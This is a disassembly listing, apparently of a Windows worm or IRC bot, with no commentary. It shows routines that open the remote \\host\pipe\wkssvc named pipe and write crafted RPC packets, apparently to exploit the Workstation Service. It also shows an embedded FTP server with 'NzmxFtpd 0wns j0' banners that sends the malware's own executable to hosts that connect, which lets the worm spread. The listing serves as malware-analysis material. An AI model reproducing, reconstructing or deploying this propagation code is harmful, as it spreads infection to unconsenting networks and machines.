		push	offset aS	; "\\\\%s"
		lea	eax, [ebp+var_9098]
		push	2000h
		push	eax
		call	sub_413D8A
		lea	eax, [ebp+var_9098]
		push	2000h
		push	eax
		lea	eax, [ebp+var_D098]
		push	eax
		call	sub_414A03
		lea	eax, [ebp+arg_8]
		push	offset a_	; "."
		push	eax
		call	sub_41E440
		add	esp, 24h
		test	eax, eax
		jz	short loc_403E0B
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset aSIpc	; "\\\\%s\\ipc$"
		lea	eax, [ebp+var_5098]
		push	2000h
		push	eax
		call	sub_413D8A
		push	20h
		lea	eax, [ebp+var_90]
		push	edi
		push	eax
		call	sub_413890
		lea	eax, [ebp+var_5098]
		add	esp, 1Ch
		mov	[ebp+var_7C], eax
		mov	eax, offset byte_438A10
		push	edi
		push	eax
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		call	dword_44CD80


loc_403E0B:				; CODE XREF: sub_403C2B+194j
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset aSPipeWkssvc ; "\\\\%s\\pipe\\wkssvc"
		lea	eax, [ebp+var_7098]
		push	2000h
		push	eax
		call	sub_413D8A
		add	esp, 10h
		lea	eax, [ebp+var_7098]
		push	edi
		push	edi
		push	3
		push	edi
		push	3
		push	40000000h
		push	eax
		call	ds:dword_41F05C	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_403E50


loc_403E49:				; CODE XREF: sub_403C2B+31Bj
		push	edi
		push	edi
		jmp	loc_4040D6
; ---------------------------------------------------------------------------


loc_403E50:				; CODE XREF: sub_403C2B+21Cj
		push	48h
		lea	eax, [ebp+var_6C]
		push	edi
		push	eax
		call	sub_413890
		and	[ebp+var_6B], 0
		push	10h
		pop	eax
		mov	[ebp+var_6C], 5
		mov	[ebp+var_68], eax
		push	eax
		lea	eax, [ebp+var_4C]
		push	offset dword_424E40
		push	eax
		mov	[ebp+var_6A], 0Bh
		mov	[ebp+var_69], 3
		mov	[ebp+var_64], 48h
		mov	[ebp+var_62], di
		mov	[ebp+var_60], ebx
		mov	[ebp+var_5C], 10B8h
		mov	[ebp+var_5A], 10B8h
		mov	[ebp+var_58], edi
		mov	[ebp+var_54], ebx
		mov	[ebp+var_50], di
		mov	[ebp+var_4E], 1
		mov	[ebp+var_3C], ebx
		call	sub_4138F0
		push	10h
		lea	eax, [ebp+var_38]
		push	offset dword_424E2C
		push	eax
		mov	[ebp+var_28], 2
		call	sub_4138F0
		add	esp, 24h
		lea	eax, [ebp+var_70]
		push	edi
		push	eax
		lea	eax, [ebp+var_6C]
		push	48h
		push	eax
		push	[ebp+var_4]
		call	ds:dword_41F054	; WriteFile
		test	eax, eax
		jz	short loc_403F3D
		lea	eax, [ebp+var_D098]
		push	eax
		call	sub_4149E6
		pop	ecx
		lea	ebx, [eax+eax+12h]


loc_403EEE:				; CODE XREF: sub_403C2B+2C9j
		test	bl, 3
		jz	short loc_403EF6
		inc	ebx
		jmp	short loc_403EEE
; ---------------------------------------------------------------------------


loc_403EF6:				; CODE XREF: sub_403C2B+2C6j
		cmp	byte_423CFC[esi], 0
		jz	short loc_403F02
		add	ebx, 4


loc_403F02:				; CODE XREF: sub_403C2B+2D2j
		lea	eax, [ebp+var_3098]
		push	eax
		call	sub_4149E6
		pop	ecx
		lea	eax, [ebx+eax*2+0Eh]


loc_403F13:				; CODE XREF: sub_403C2B+2EDj
		test	al, 3
		jz	short loc_403F1A
		inc	eax
		jmp	short loc_403F13
; ---------------------------------------------------------------------------


loc_403F1A:				; CODE XREF: sub_403C2B+2EAj
		add	eax, 8
		cmp	byte_423CFC[esi], 0
		jz	short loc_403F2B
		add	eax, 4
		jmp	short loc_403F2D
; ---------------------------------------------------------------------------


loc_403F2B:				; CODE XREF: sub_403C2B+2F9j
		inc	eax
		inc	eax


loc_403F2D:				; CODE XREF: sub_403C2B+2FEj
		push	eax
		mov	[ebp+var_8], eax
		call	sub_413F0B
		mov	ebx, eax
		pop	ecx
		cmp	ebx, edi
		jnz	short loc_403F4B


loc_403F3D:				; CODE XREF: sub_403C2B+2B0j
		push	[ebp+var_4]
		call	ds:dword_41F058	; CloseHandle
		jmp	loc_403E49
; ---------------------------------------------------------------------------


loc_403F4B:				; CODE XREF: sub_403C2B+310j
		push	[ebp+var_8]
		push	edi
		push	ebx
		call	sub_413890
		push	4
		push	offset dword_423CA0
		push	ebx
		call	sub_4138F0
		lea	eax, [ebp+var_D098]
		push	eax
		call	sub_4149E6
		inc	eax
		mov	[ebx+0Ch], eax
		mov	[ebx+8], edi
		mov	eax, [ebx+0Ch]
		mov	[ebx+4], eax
		lea	eax, [ebp+var_D098]
		push	eax
		lea	eax, [ebx+10h]
		push	eax
		call	sub_4149C1
		lea	eax, [ebp+var_D098]
		push	eax
		call	sub_4149E6
		lea	eax, [eax+eax+12h]
		add	esp, 28h
		test	al, 3
		mov	[ebp+arg_0], eax
		jz	short loc_403FAD


loc_403FA5:				; CODE XREF: sub_403C2B+37Dj
		inc	eax
		test	al, 3
		jnz	short loc_403FA5
		mov	[ebp+arg_0], eax


loc_403FAD:				; CODE XREF: sub_403C2B+378j
		cmp	byte_423CFC[esi], 0
		jz	short loc_403FCF
		push	4
		add	eax, ebx
		push	offset dword_423CA8
		push	eax
		call	sub_4138F0
		add	esp, 0Ch
		add	[ebp+arg_0], 4
		mov	eax, [ebp+arg_0]


loc_403FCF:				; CODE XREF: sub_403C2B+389j
		add	eax, ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_3098]
		push	eax
		call	sub_4149E6
		mov	ecx, eax
		mov	eax, [ebp+var_C]
		inc	ecx
		add	[ebp+arg_0], 0Ch
		mov	[eax+8], ecx
		mov	[eax+4], edi
		mov	ecx, [eax+8]
		mov	[eax], ecx
		lea	eax, [ebp+var_3098]
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, ebx
		push	eax
		call	sub_4149C1
		lea	eax, [ebp+var_3098]
		push	eax
		call	sub_4149E6
		mov	ecx, [ebp+arg_0]
		add	esp, 10h
		lea	eax, [ecx+eax*2+2]
		test	al, 3
		mov	[ebp+arg_0], eax
		jz	short loc_40402C


loc_404024:				; CODE XREF: sub_403C2B+3FCj
		inc	eax
		test	al, 3
		jnz	short loc_404024
		mov	[ebp+arg_0], eax


loc_40402C:				; CODE XREF: sub_403C2B+3F7j
		push	8
		add	eax, ebx
		push	edi
		push	eax
		call	sub_413890
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		add	eax, 8
		cmp	byte_423CFC[esi], 0
		jz	short loc_40404E
		mov	[eax+ebx], edi
		jmp	short loc_404054
; ---------------------------------------------------------------------------


loc_40404E:				; CODE XREF: sub_403C2B+41Cj
		mov	word ptr [eax+ebx], 1


loc_404054:				; CODE XREF: sub_403C2B+421j
		push	18h
		lea	eax, [ebp+var_24]
		push	edi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	cl, byte_423CFC[esi]
		and	[ebp+var_23], 0
		and	[ebp+var_22], 0
		push	1
		mov	[ebp+var_1A], di
		pop	eax
		mov	[ebp+var_10], di
		push	eax
		push	10B8h
		push	[ebp+var_8]
		lea	esi, [ebp+var_24]
		neg	cl
		sbb	ecx, ecx
		push	ebx
		and	ecx, 2
		sub	esp, 18h
		add	ecx, 19h
		mov	[ebp+var_24], 5
		push	6
		mov	[ebp+var_E], cx
		pop	ecx
		mov	[ebp+var_21], 3
		mov	edi, esp
		push	[ebp+var_4]
		mov	[ebp+var_20], 10h
		mov	[ebp+var_18], eax
		rep movsd
		call	sub_403B4D
		add	esp, 2Ch
		test	al, al
		push	[ebp+var_4]
		jnz	short loc_4040E3
		call	ds:dword_41F058	; CloseHandle
		push	ebx
		call	sub_413F7F
		pop	ecx
		push	0
		push	0


loc_4040D6:				; CODE XREF: sub_403C2B+220j
		push	[ebp+var_7C]
		call	dword_44CD40


loc_4040DF:				; CODE XREF: sub_403C2B+22j
					; sub_403C2B+52j
		xor	eax, eax
		jmp	short loc_40413E
; ---------------------------------------------------------------------------


loc_4040E3:				; CODE XREF: sub_403C2B+498j
		call	ds:dword_41F058	; CloseHandle
		push	ebx
		call	sub_413F7F
		pop	ecx
		xor	esi, esi
		push	esi
		push	esi
		push	[ebp+var_7C]
		call	dword_44CD40
		push	esi
		lea	eax, [ebp+var_190]
		push	[ebp+arg_B4]
		push	eax
		lea	eax, [ebp+arg_18]
		push	eax
		push	[ebp+arg_4]
		call	sub_40B2B5
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_409833
		mov	eax, [ebp+arg_AC]
		add	esp, 18h
		imul	eax, 3Ch
		inc	dword_425A60[eax]
		push	1
		lea	eax, dword_425A60[eax]
		pop	eax


loc_40413E:				; CODE XREF: sub_403C2B+4B6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403C2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_404143	proc near		; CODE XREF: .text:00403AE4p
					; sub_40656E+1E6p
					; DATA XREF: ...

arg_0		= byte ptr  4

		push	ebx
		push	esi
		push	edi
		lea	esi, [esp+0Ch+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		push	1
		rep movsd
		call	sub_403C2B
		add	esp, 4
		lea	esi, [esp+0C8h+arg_0]
		mov	ebx, eax
		push	2Fh
		pop	ecx
		mov	edi, esp
		push	1
		rep movsd
		call	sub_403C2B
		add	esp, 0C0h
		test	eax, eax
		jnz	short loc_404186
		test	ebx, ebx
		jz	short loc_404189


loc_404186:				; CODE XREF: sub_404143+3Dj
		push	1
		pop	eax


loc_404189:				; CODE XREF: sub_404143+41j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_404143	endp


; =============== S U B	R O U T	I N E =======================================



sub_40418D	proc near		; CODE XREF: .text:00403B00p

arg_0		= byte ptr  4

		push	ebx
		push	esi
		push	edi
		lea	esi, [esp+0Ch+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		push	0
		rep movsd
		call	sub_403C2B
		add	esp, 4
		lea	esi, [esp+0C8h+arg_0]
		mov	ebx, eax
		push	2Fh
		pop	ecx
		mov	edi, esp
		push	0
		rep movsd
		call	sub_403C2B
		add	esp, 0C0h
		test	eax, eax
		jnz	short loc_4041D0
		test	ebx, ebx
		jz	short loc_4041D3


loc_4041D0:				; CODE XREF: sub_40418D+3Dj
		push	1
		pop	eax


loc_4041D3:				; CODE XREF: sub_40418D+41j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40418D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041D7	proc near		; DATA XREF: sub_406059+226o

var_96C		= byte ptr -96Ch
var_7DC		= dword	ptr -7DCh
var_7D8		= byte ptr -7D8h
var_5C4		= byte ptr -5C4h
var_544		= dword	ptr -544h
var_540		= dword	ptr -540h
var_538		= byte ptr -538h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_238		= byte ptr -238h
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 96Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_7DC]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_96C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_228], edi
		mov	[ebp+var_438], edi
		call	ds:dword_41F1BC	; WSAStartup
		push	edi
		call	sub_414D55
		push	eax
		call	sub_413864
		push	0FEB0h
		push	406h
		call	sub_41271C
		add	esp, 10h
		mov	dword_438A18, eax
		push	edi
		push	ebx
		push	2
		call	ds:dword_41F1DC	; socket
		mov	esi, eax
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		call	ds:dword_41F1C8	; setsockopt
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_41F1E0	; ioctlsocket
		mov	ax, word ptr dword_438A18
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		call	ds:dword_41F1C4	; ntohs
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		call	ds:dword_41F1B0	; bind
		test	eax, eax
		jge	short loc_4042AC
		mov	eax, ebx
		jmp	loc_4047D3
; ---------------------------------------------------------------------------


loc_4042AC:				; CODE XREF: sub_4041D7+CCj
		push	0Ah
		push	esi
		call	ds:dword_41F1B4	; listen
		mov	[ebp+var_228], ebx
		mov	ebx, ds:dword_41F1D0
		mov	[ebp+var_224], esi
		mov	[ebp+var_4], esi


loc_4042CA:				; CODE XREF: sub_4041D7+12Cj
					; sub_4041D7+5F4j
		push	41h
		lea	esi, [ebp+var_228]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_438]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	ds:dword_41F1D4	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_4047D0
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_4042CA


loc_404305:				; CODE XREF: sub_4041D7+5EEj
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_413890
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_413890
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_41E428	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4047BE
		cmp	edi, [ebp+var_C]
		jnz	short loc_4043BC
		lea	eax, [ebp+var_24]
		mov	[ebp+var_24], 10h
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_41F1B8	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_4047BE
		xor	ecx, ecx
		cmp	[ebp+var_228], esi
		jbe	short loc_404386
		lea	edx, [ebp+var_224]


loc_404376:				; CODE XREF: sub_4041D7+1ADj
		cmp	[edx], eax
		jz	short loc_404386
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_228]
		jb	short loc_404376


loc_404386:				; CODE XREF: sub_4041D7+197j
					; sub_4041D7+1A1j
		cmp	ecx, [ebp+var_228]
		jnz	short loc_4043A4
		cmp	[ebp+var_228], 40h
		jnb	short loc_4043A4
		mov	[ebp+ecx*4+var_224], eax
		inc	[ebp+var_228]


loc_4043A4:				; CODE XREF: sub_4041D7+1B5j
					; sub_4041D7+1BEj
		cmp	eax, [ebp+var_4]
		jle	short loc_4043AC
		mov	[ebp+var_4], eax


loc_4043AC:				; CODE XREF: sub_4041D7+1D0j
		push	esi
		push	15h
		push	offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_4047BE
; ---------------------------------------------------------------------------


loc_4043BC:				; CODE XREF: sub_4041D7+169j
		push	esi
		lea	eax, [ebp+var_29C]
		push	64h
		push	eax
		push	edi
		call	ds:dword_41F1CC	; recv
		test	eax, eax
		jg	short loc_404423
		mov	edx, [ebp+var_228]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_404417
		lea	eax, [ebp+var_224]


loc_4043E3:				; CODE XREF: sub_4041D7+216j
		cmp	[eax], edi
		jz	short loc_4043F1
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_4043E3
		jmp	short loc_404417
; ---------------------------------------------------------------------------


loc_4043F1:				; CODE XREF: sub_4041D7+20Ej
		dec	edx
		cmp	ecx, edx
		jnb	short loc_404411
		lea	eax, [ebp+ecx*4+var_224]


loc_4043FD:				; CODE XREF: sub_4041D7+238j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_228]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_4043FD


loc_404411:				; CODE XREF: sub_4041D7+21Dj
		dec	[ebp+var_228]


loc_404417:				; CODE XREF: sub_4041D7+204j
					; sub_4041D7+218j
		push	edi
		call	ds:dword_41F1E8	; closesocket
		jmp	loc_4047BE
; ---------------------------------------------------------------------------


loc_404423:				; CODE XREF: sub_4041D7+1F8j
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS	; "%s %s"
		push	eax
		call	sub_414D21
		lea	eax, [ebp+var_AC]
		push	offset aUser	; "USER"
		push	eax
		call	sub_413C30
		add	esp, 18h
		test	eax, eax
		jnz	short loc_404467
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_4047A9
; ---------------------------------------------------------------------------


loc_404467:				; CODE XREF: sub_4041D7+281j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40448B
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_4047A9
; ---------------------------------------------------------------------------


loc_40448B:				; CODE XREF: sub_4041D7+2A5j
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4044AF
		push	esi
		push	0Dh
		push	offset a215Nzmxftpd ; "215 NzmxFtpd\n"
		jmp	loc_4047A9
; ---------------------------------------------------------------------------


loc_4044AF:				; CODE XREF: sub_4041D7+2C9j
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4044D3
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_4047A9
; ---------------------------------------------------------------------------


loc_4044D3:				; CODE XREF: sub_4041D7+2EDj
		lea	eax, [ebp+var_AC]
		push	offset off_425064
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4044F7
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_4047A9
; ---------------------------------------------------------------------------


loc_4044F7:				; CODE XREF: sub_4041D7+311j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404532
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404532
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_4047A9
; ---------------------------------------------------------------------------


loc_404532:				; CODE XREF: sub_4041D7+335j
					; sub_4041D7+34Cj
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40456D
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40456D
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_4047A9
; ---------------------------------------------------------------------------


loc_40456D:				; CODE XREF: sub_4041D7+370j
					; sub_4041D7+387j
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4045BB
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]


loc_4045AB:				; CODE XREF: sub_4041D7+423j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi


loc_4045B3:				; CODE XREF: sub_4041D7+4F3j
		mov	edi, [ebp+arg_0]
		jmp	loc_4047AC
; ---------------------------------------------------------------------------


loc_4045BB:				; CODE XREF: sub_4041D7+3ABj
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4045FC
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_4045AB
; ---------------------------------------------------------------------------


loc_4045FC:				; CODE XREF: sub_4041D7+3F9j
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4046CF
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS_0	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_414D21
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_413D7F
		mov	edi, eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_413D7F
		mov	[ebp+var_8], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_413890
		push	[ebp+var_8]
		lea	eax, [ebp+var_F8]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_413812
		add	esp, 44h
		lea	eax, [ebp+var_F8]
		push	10h
		push	esi
		push	eax
		call	sub_414D0A
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_413812
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		jmp	loc_4045B3
; ---------------------------------------------------------------------------


loc_4046CF:				; CODE XREF: sub_4041D7+43Aj
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40478A
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_4047DA
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_404780
		call	sub_404857
		cmp	eax, 1
		jnz	loc_4047AC
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_7D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	dword_438A18
		push	eax
		lea	eax, [ebp+var_538]
		push	offset unk_424EC8
		push	eax
		call	sub_413812
		add	esp, 14h
		cmp	[ebp+var_540], esi
		jnz	short loc_404771
		push	esi
		lea	eax, [ebp+var_538]
		push	[ebp+var_544]
		push	eax
		lea	eax, [ebp+var_5C4]
		push	eax
		push	[ebp+var_7DC]
		call	sub_40B2B5
		add	esp, 14h


loc_404771:				; CODE XREF: sub_4041D7+575j
		lea	eax, [ebp+var_538]
		push	eax
		call	sub_409833
		pop	ecx
		jmp	short loc_4047AC
; ---------------------------------------------------------------------------


loc_404780:				; CODE XREF: sub_4041D7+52Fj
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_4047A9
; ---------------------------------------------------------------------------


loc_40478A:				; CODE XREF: sub_4041D7+50Dj
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4047AC
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_4047A9:				; CODE XREF: sub_4041D7+28Bj
					; sub_4041D7+2AFj ...
		push	edi
		call	ebx	; send


loc_4047AC:				; CODE XREF: sub_4041D7+3DFj
					; sub_4041D7+539j ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_413890
		add	esp, 0Ch


loc_4047BE:				; CODE XREF: sub_4041D7+160j
					; sub_4041D7+189j ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_404305
		jmp	loc_4042CA
; ---------------------------------------------------------------------------


loc_4047D0:				; CODE XREF: sub_4041D7+11Ej
		push	1
		pop	eax


loc_4047D3:				; CODE XREF: sub_4041D7+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4041D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4047DA	proc near		; CODE XREF: sub_4041D7+525p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	ds:dword_41F1BC	; WSAStartup
		push	0
		push	1
		push	2
		call	ds:dword_41F1DC	; socket
		push	[ebp+arg_0]
		mov	dword_438A14, eax
		mov	[ebp+var_10], 2
		call	ds:dword_41F1C0	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	ds:dword_41F1C4	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_438A14
		call	ds:dword_41F1E4	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404852
		push	dword_438A14
		call	ds:dword_41F1E8	; closesocket
		call	ds:dword_41F1AC	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_404852:				; CODE XREF: sub_4047DA+60j
		push	1
		pop	eax
		leave
		retn
sub_4047DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404857	proc near		; CODE XREF: sub_4041D7+531p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	ds:dword_41F060	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_414F8F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4048EE
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_4048D2
		push	edi
		mov	edi, 400h


loc_40489A:				; CODE XREF: sub_404857+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_414E87
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_438A14
		call	ds:dword_41F1D0	; send
		push	1
		call	ds:dword_41F050	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40489A
		pop	edi


loc_4048D2:				; CODE XREF: sub_404857+3Bj
		push	esi
		call	sub_414E31
		pop	ecx
		push	dword_438A14
		call	ds:dword_41F1E8	; closesocket
		call	ds:dword_41F1AC	; WSACleanup
		push	1
		pop	eax


loc_4048EE:				; CODE XREF: sub_404857+35j
		pop	esi
		leave
		retn
sub_404857	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4048F1	proc near		; DATA XREF: sub_406059+333o
					; sub_40CC09+4BDFo

var_27F0	= byte ptr -27F0h
var_17F0	= byte ptr -17F0h
var_7F0		= byte ptr -7F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
